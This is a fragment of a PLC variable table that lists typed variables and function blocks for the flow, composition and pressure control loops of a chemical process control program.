+60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; 